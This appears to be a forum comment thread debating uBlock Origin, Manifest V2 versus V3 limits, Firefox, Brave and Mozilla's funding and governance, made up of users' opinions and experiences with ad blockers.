I do miss the rules that let me remove stuff based like CSS like selectors. The strange thing is, even though uBlock Origin Lite doesn't support that feature it's still totally possible to make an extension that does that. Maybe the specific thing uBlock Origin was doing is not possible but making an extension that follows rules and hides/deletes elements with different rules per site is still fully possible under manifest v3
I'm so grateful for Firefox on Android
[uBlock Stripped]
https://github.com/Kees1958/uBol-stripped
https://chromewebstore.google.com/detail/ublock-stripped-%E2...
[3P-Matrix-lite]
https://github.com/Kees1958/3P-Matrix-lite
https://chromewebstore.google.com/detail/3p-matrix-lite/olji...
The web is completely unusable without UBO+FF. Any time I have to use a clean browser, I feel assaulted and dirty, plus wonder what malware just got injected into my machine.
If it were to go away, I would probably accelerate retiring to an analog, offline life.
The Lite version also relies solely on filter lists that require you to update the extension itself while the MV2 version can do so dynamically. Additionally, it lacks CNAME Uncloaking which I imagine will become much more commonplace soon enough which will make it impossible to block those ads
I tried a blank Firefox on YouTube the other day for a 20 minute video and it was packed with pre-roll ads and then a mid-roll ad every several minutes. Unwatchable.
Wouldnt this be the same experience on all 'blank' browsers? The whole point was install ublock origin extension and that all goes away.
You make it sound like its Firefoxs fault that youtube is full of ads!
Thanks for every day that this browser works.
Sometimes I had to test something in Chrome - and it’s painful experience.
But it really depends on personal view - I have tried to convert my friends and they don’t feel it.
https://ed.agadak.net/2008/03/beyond-awesome
Truly amazing stuff, in 2008.
The last few years I've noticed that some things have stopped working as smoothly though - mainly just little CSS glitches and things because people don't test in Firefox :(
I love Firefox.
We need more browsers like Firefox - more open source, more open to standards that improve the web, that can improve our browsing experience.
I've installed uBlock Origin Lite in my Edge browser and I don't see any ads there either.
- MV2 version has sophisticated scripts to not only block ads but prevent tracking. With the lite version you might not be seeing most ads but you are certainly being tracked more
- MV3 version might "hide" ads but the MV2 version is blocking requests from every being made. All those stats you hear about improved battery and reduced bandwidth usage with an adblocker are only true for the MV2 version
- CNAME uncloaking is only done with MV2 version. That means when advertisers on sites cloak their CNAME, you won't be able to block them
- filters lists on Lite can only be updated when you install an update. In MV2 version it updates the lists dynamically. Advertisers change their domains all the time
The only thing you get is an arms race which Big Tech will always win because they have infinite budgets to keep the music playing.
Imagine believing the only way to change the world is voting and politics
Without the webRequest API, it is unable to intercept raw web requests on the fly or query live DNS/CNAME records or dynamically reroute matching rules. The MV3 version is basically just a static list of rules that is only updated when you update the extension itself
Obviously UBO isn't a first party feature - but if only Firefox could generate as much traction about ad blocking as they did with tabs.
I also remember it automatically blocking popup ads. That was a huge deal.
Microsoft Edge is about to lock out older ad blockers, just like Chrome did
Chromium is detestable. In whatever form it takes.
https://www.reddit.com/r/GrapheneOS/comments/1unhtxu/initial...
This isn't such an outrageous assumption to make here.
https://github.com/mozilla/bedrock/commit/d459addab846d8144b...
Example: selling market preferences of a town rather than the individual people in it.
But at least with Brave, the initial funding information was made public, so there's already more information available to users in comparison with Mozilla. Mozilla just said: "there are a number of places where we collect and share some data with our partners" - that could mean literally anyone.
You're just spreading FUD unless you have evidence that Brave funnels usage data in secret.
Even if fine in the present, you cannot guarantee me the future of a Thiel-funded, VC-owned firm.
Mozilla, in comparison, is a mature, non-profit with substantial goodwill and operational transparency.
Everything past these details are just noise.
This is common in non-profits for a number of reasons: protects the foundations assets, allows for engaging in commercial operations (Mozilla VPN, Anonym), greater flexibility, etc.
It is not a true for-profit company. All "profit" flows up to the non-profit and the non-profit parent retains complete, absolute control while being tied to the Mozilla mission.
There was something else they did that was shocking a couple years ago that made me glad I never used it. I went to wikipedia to jog my memory and found this...
> In 2020, the company was found to be appending affiliate referral codes to the end of certain cryptocurrency exchange URLs typed into the browser's address bar. The practice applied to exchanges such as Binance and Coinbase, and was later discovered to extend to suggested search queries for terms like "bitcoin" and "ethereum".
I'm not sure why anyone would trust a browser that does this kind of thing. Some could claim it's a harmless way to make some extra cash, but it's very similar to what Honey was caught doing.
Brave is a Thiel-funded, VC-owned private company with far more egregious monetization efforts.
Ultimately I know everything at Mozilla is completely controlled by the mission-driven non-profit parent -- something they've recently double-downed on.
Brave does not have those same assurances and cannot be trusted.
This doesn't look like neglect to me at all. And in addition to all this, they've dramatically reduced their dependency on Google for funding.
They've literally been caught MITMing web pages for their own financial gains.
Lol, they chose to ship parts of their browser as extensions, it's definitely now "random extensions".
> and blocking uBlock Origin from working on, for example, the Firefox extension site
Any other example? Bypassing an extension on their own website has absolutely no link to the browser itself being a malware, this is ridiculous.
I don't even use Firefox and I think Mozilla is a shit organization misusing its funds to pursue bad ventures lately, but even I think your claims are bullshit.
Brave is relying on a fork that takes advantage of the fact that the webRequest API is still technically there
My reasoning for not using Brave: not only is it a wrapper around Chromium, but their crypto stuff and some dodgy affiliate injection in the past paints them as untrustworthy.
Brave is faster, suspends tabs when getting short of RAM with hundreds of tabs, has a first-class built-in ad blocker and fingerprinting protection, is compatible with Chrome extensions, includes Tor support, provides anonymous Brave Search with Goggles out of the box, free and private AI assistant Leo.
In any case, thanks for explaining. There are some features there I was unaware of
Related discussion:
uBlock Origin Lite now available for Safari (apps.apple.com)
1156 points by Jiahang on Aug 5, 2025 | 451 comments
But what about the remonopolization of the web? I remember how much it SUCKED when internet explorer had 95% of the web thanks to Microsoft’s illegal practices. I saw the same behaviour from Google, the ad company and they haven’t event gotten a slap on the wrist. Fuck, people fucking loves Google, despite their turn to the dark side.
Well here we are, with the open web almost dead. It’s time to revive it. Start using alternatives again. Seek out and support people and organisations that are actively working to build the community web, not this corporate shit it’s morphed into.
End rant
Additionally, I eagerly await resource (CPU+site size) buckets to be implemented on a browser and a LocalCDN along it to shrink the web.
Does anyone here use DuckDuckGo browser? I've honestly never heard of anyone using it, so I'm pretty surprised to see it categorized as a "major browser". I already basically think of Firefox users (which includes myself) as a pretty tiny minority, so I'm not sure how much smaller you can really get while still being "major".
The wikipedia article on it says:
> The core browser functionality is the WebView component provided by the operating system. This means the browser engine is Blink on Android and Windows, and WebKit on iOS and macOS.
I actually used to install Revanced for all the relatives who ever complained about Youtube and some who didn't even ask! I just feel like Ad blocker is such a useful thing that I can do to people that I care about who don't know deeply about it.
I must say that it is one of the top entries of lists of most useful/time-saving things I have done in actually saving anybody's actual time.
I express gratitude towards the universe for Ublock Origin. Words can't comprehend how much I love it.
And even if you watch one without skipping I'm not sure the amount of ads is even legal in my jurisdiction.
Pay for Youtube premium you say? But I only use it like once per month anyway. Easier to just not try.
The Edge browser for has the best ad-free experience I've found so far on Android. It supports Widevine (DRM videos) and performance is good enough for most videos. I do get an occasional stutter with higher res videos. Firefox supports Widevine, but it didn't last week? Or I just didn't get the popup to "Enable DRM" for some reason. Edge claims to have blocked 15k YT ads in the last week with the built-in AdBlock Plus. It works with uBlock Origin as well (this week anyway).
But also, be Mozilla: decimate your own plugin ecosystem, kill half of plugins, force to rewrite the other 50%. But a few years later support this 1 extension, and people will remember that you're a good guy.
When they've adoped Chrome plugins, they've effectively gave up their shares of relevance to Chrome and now they're paying for it.
The 'newer' Manifest V3 replaced the V2 webRequest API with a more limited declarativeNetRequest API.
The original allowed the intercept and blocking of network requests in real-time as generated, the replacement allows a limited subset of filter blocking after requests have been sent and returned.
ie: V2 allowed for less network traffic and greater amount of filtering, V3 provides slower page completes and limited filtering.
And we have adblockers built-in in various browsers now.
So since we have built-in adblockers, we don't really need MV2 functionality anymore? Why oppose MV3?
I mean why people want to oppose MV3 instead of simply asking your favorite browser to expose the browser-specific API for missing functionality, like it was done "in the old days"?
If Google wants to block MV3, then let it block it, and ask browsers to expose missing API. Of course this won't happen in Chrome, but back in my days when software was limited, we simply stopped using it in favor of more complete software.
If you're more enlightened, then the best you can do is to explain it to lesser beings, not virtue signal that you know better but others are unworthy of your knowledge.
Edit: and latest August 14, 2026 Chromium 152.0.7977.38 based Snapshot https://vivaldi.com/blog/desktop/address-field-calculator-an... has this in patch notes:
"[Extensions] Re-enable and extend Manifest V2 extension support for the time being (VB-130324)"
Let's hope for new generations to get tired of so many ads to finally ditch chrome.
Websites get paid.
Users don't see ads.
Sounds like a win-win-win?
If you want a sophisticated version of what you think this is, see Ad Nauseum. It's uBlock Origin except they create a fake "profile" for you and selectively click ads under the hood to throw advertisers off
Firefox will never convince people to leave chrome on philosophy alone. I detest Chrome with a passion and refuse to touch it with a ten-foot pole, but cannot in good faith recommend Firefox to anyone in today’s world. “It kinda works” is about as far a compliment you can give it.
Not sure if it's the FF + Linux combination. Should probably try with a fresh profile to confirm.
It sucks, but I'm in on FF all the way. If much of the web stops working for me, it just means I have more time on my hands!
It appears that there are now significant numbers of sites - or at least noticeable parts or features of sites - that rely on Google-specific APIs and haven't been tested on other browsers.
However visiting those sites from Apple devices is often similarly frustrating. I'm not sure this is an anti-Firefox thing. It seems more of a not realising there are other browsers apart from Chromium-based ones thing.
Google meet, Discord, Zoom all handle Mozilla/Linux. Slack hasn't figured it out yet.
I have used Firefox exclusively every day on macOS for the past year, several hours a day, and have not one single time had to open another browser. None of the customers of my B2B saas use Firefox. Not once have I needed to test in their browsers except quick smoke testing to prove to myself that the rendering and details are identical. All my other browsing is indistinguishable from before when I used Chrome, and from on mobile where I (tragically) am forced by Apple's monopoly to use Safari.
Do you have evidence to support your false claim?
I only ever use Firefox, at work, at home, mobile. Since forever, as long as there has been a Firefox (and Mozilla before that, Netscape prior).
There was one time about 8-10 years ago that I encountered a site that didn't work in Firefox, was some weird proprietary training module at work.
So yes, I did encounter one site that didn't work in Firefox in the last ~20 years. One.
I think these people are real and predate AI. I think it comes down to a fundamental psychology in how the two browsers are marketed online. Firefox users would say "Firefox is better than Chrome." Chrome users would say "Chrome is good." Firefox is touted as a better browser on the principle of the freedom it gives its users, and paradoxically, that draws heavy scrutiny.
I don't think I am doing a Goomba fallacy here. People that claim to care about privacy and browser freedom will express disgust with Mozilla then, in the same breath, say they are opting into Chrome out of spite, which is 100x worse.
That is what is frustrating, indeed.
Firefox is not perfect. Nothing is perfect. There have been changes in Firefox over the years that I don't like. (I'm still hurting from it moving the tabs to the top, so annoying.)
In a scale of 1 (100% user-hostile) to 10 (absolutely perfect user-centered browser), Firefox only scores a, let's say, eight.
But chrome scores a solid 2, so obviously I'm not going to use it, ever, no matter if Firefox makes the occasional mis-step.
Weird!
Who do you think most developers work for?
Google, Facebook, two massive developer employers which are advertising companies.
There is a reason the quote “The best minds of my generation are thinking about how to make people click ads" is famous.
Because so many developers are doing nothing but that, pushing advertising.
I know when you’re balls deep in your own little box it’s hard to see the cracks in the foundation. But they’re very much there.
> some other people
"Look around, it's everywhere" isn't evidence, it's misdirection.
I will not be made to go find evidence of your false claim. That's on you.
In case people don't know, Firefox was the first major browser to even have extensions.
I install uBlock Origin on every browser I come across. Everybody notices. The internet just feels better, somehow. People can't quite explain what changed, but they know.
I'm not an advertising apologist, just pointing out that I can remember what ads were on a freemium TV station I watched two nights ago and what ads were on a radio station I listened to this afternoon but I can't remember a single web ad since...I don't know when. This might be because the TV ads have audio and visual, and with radio my alternative at the moment was looking out the window of my car, but web ads just seem very easy to mentally filter.
This means that both Microsoft and Google have elected to disable support at build time and alternative, good, Chromium based browser like Helium (https://helium.computer) still support it. As a matter of fact Helium still uses it to fetch and run uBlock Origin out of the box for mitigation against trackers, malware and ads.
Everything follows from this. Edge people, Chrome people have been living in a fairytale for believing that the keepers of their portal to the web were offering a product as complex and expensive as a browser without asking for anything in return.
Anyone knows that any company that gives you something for free will eventually want something from you. You accepted a free browser from a for-profit entity and paid nothing. Now, Faust has come to collect your soul.
Firefox is also free.
1. Mozilla isn't working in a capital intensive domain like Transformer Tech unlike OpenAI so there is no need to bend over demands this much.
2. Mozilla Corp is fully owned by Mozilla Foundation. OpenAI Corp was created by the OpenAI non profit to take external investment. The OpenAI non profit chose to give chunks of the OpenAI Corp to investors because it needed money. By selling stakes, they gave control of the company away. That's the difference.
3. OpenAI Corp answers to their stakeholders of which OpenAI foundation is only one and a minor stakeholder. Mozilla Corp answers to Mozilla Foundation only. That's the difference.
4. Presentation. The mozilla websites for the foundation and the subsidiary both use the org domain which is used by non profits, unlike openain's com use. Not a rule but a choice in presentation.
There is no comparison here.
It literally can (https://openai.com/our-structure/):
"Through special voting and governance rights held solely by the OpenAI Foundation, the OpenAI Foundation appoints all members of the board of directors of OpenAI Group and can replace directors at any time."
--
> Mozilla Corp is fully owned by Mozilla Foundation
https://www.mozilla.org/en-US/foundation/annualreport/2021/a...
~85% of Mozilla Corp's revenue comes from "search partnerships, subscriptions and advertising revenue" a.k.a. from Google - not from Mozilla's own products.
Mozilla Corp is in practice owned by Google.
--
> Mozilla Corp answers to Mozilla Foundation only
In 2020 Mozilla laid off 250 employees[0] and then gave its CEO a $2.5 million USD pay increase[1]. Next year the CEO got another pay increase of $1.3 million USD[2].
They sure sound like a very nice Foundation to answer to - not very bothered by laying people off to give the CEO a pay increase or by losing market share for 10 years straight. Again, how are they different from other companies?
[0] https://www.theverge.com/2020/8/11/21363424/mozilla-layoffs-...
[1] https://assets.mozilla.net/annualreport/2021/mozilla-fdn-990...
[2] https://assets.mozilla.net/annualreport/2022/mozilla-fdn-990...
--
> Edge people, Chrome people have been living in a fairytale
Someone's living in a fairytale, but I don't think it's Chrome users.
I switched over to LibreWolf and other browsers like that then and never looked back.
From your own google search:
> After fielding user backlash over its new Terms of Use last week, Firefox browser maker Mozilla has rewritten its policy to address issues around the overly broad language it had previously used.
The next two sentences:
> Critics said the terms implied Mozilla was asking users for the rights to whatever data they input into the browser or upload, which some worried would be then sold to advertisers or AI companies.
> Mozilla said that was not the case, noting that the new terms didn’t represent a change in the way the company used data. The company also said that the original language updates were not “driven by a desire” to sell user data, and that the company’s ability to use collected data was still limited by the rights laid out in Firefox’s Privacy Notice.
Buddy, please save us both some time and actually read the articles...
The argument against was always that it's "too hard to keep a fork in sync". Now it's easier.
My point is that when MV3 was announced there was an assumption that maintaining a Chromium fork to continue supporting MV2 would be too much work and too expensive. But now with LLMs that's no longer a safe assumption. The non-Chrome chromium based browsers can fork chromium and add back MV2. No need for any expiration date.
We should prepare for a future without Firefox, because one day it won't be there anymore.
We need a variant of the world wide web that can not be abused and controlled like Google shows right now. Firefox will not change anything anymore either.
Would you do something using their engine?
Something like Ladybird?
Or 1 fully from scratch like Medici on GitHub?
Chromium is an open source project, forks such as Ungoogled Chromium exist, I literally had 0 issues with uBOL on Ungoogled Chromium.
People who complain about MV3 probably spent more time complaining about it than actually trying uBOL and seeing that it works just fine.
2. while I use uBlock Origin on phone (Firefox) and desktop (Vivaldi), it's overrated, AdGuard works under MV3 AND unlike uBlock supports element picker, so if I was on browser not supporting uBO I would switch to AdGuard since I can't live without element picker
because without UI manually editing the filter is not an element picker.
I'm unable to find any screenshot of ubol, all I found is some switch between protection levels and all answers I've found in Google to this question say there is no element picker and not going to install it since all my browser still support uBO
Because Google feeds on comments like yours to answer your question about whether there is an element picker, it's bound to be wrong.
You can create your own custom filters using an element picker, and you can manually edit them. See <https://github.com/uBlockOrigin/uBOL-home/wiki/Quick-guide>.
Though it doesn't help even on official extension page in both Chrome web store and Microsoft edge add-ons store there is no clear screenshot showing this (tools dashboard after clicking More button few times), if there was clear screenshot of actual advanced/"More" UI with Element zapper/picker, users like me wouldn't have such stupid questions/assumptions and it would be clear from get go.
Current version of Chrome seems to be 152.0.7977.39 released August 14, 2026.
August 14, 2026 Chromium 152.0.7977.38 based vivaldis napshot https://vivaldi.com/blog/desktop/address-field-calculator-an... has this in patch notes:
"[Extensions] Re-enable and extend Manifest V2 extension support for the time being (VB-130324)"
It's borderline impossible to read some webpages.
Just one more reason to stay on FF I guess.
Especially since they launched extensions on mobile FF has been so much better than any of the alternatives I don't see myself going back anywhere else.
Globally, Firefox has ~2.2%.
On desktop alone that's still only 6.4%.
Where is the threshold?
all those chromium clones will not have widevine
(if youtube ever gets widevine, yt-dlp etc will never work anymore)
Firefox for the win, it needs guaranteed survival somehow
But that's not what most users, including uBlock origin users, want.
And it shouldn't be. It's now full of ads for Mozilla VPN and stuff. We need the engine, but not the browser.
However I have seen billions of ads on google.com and YouTube.com, and search placement, and fraud.
But whatever. How's google pay? Pretty good?
Yes, that's why google moved to manifest v3 and extensions can't do as much.
surely there is a way around that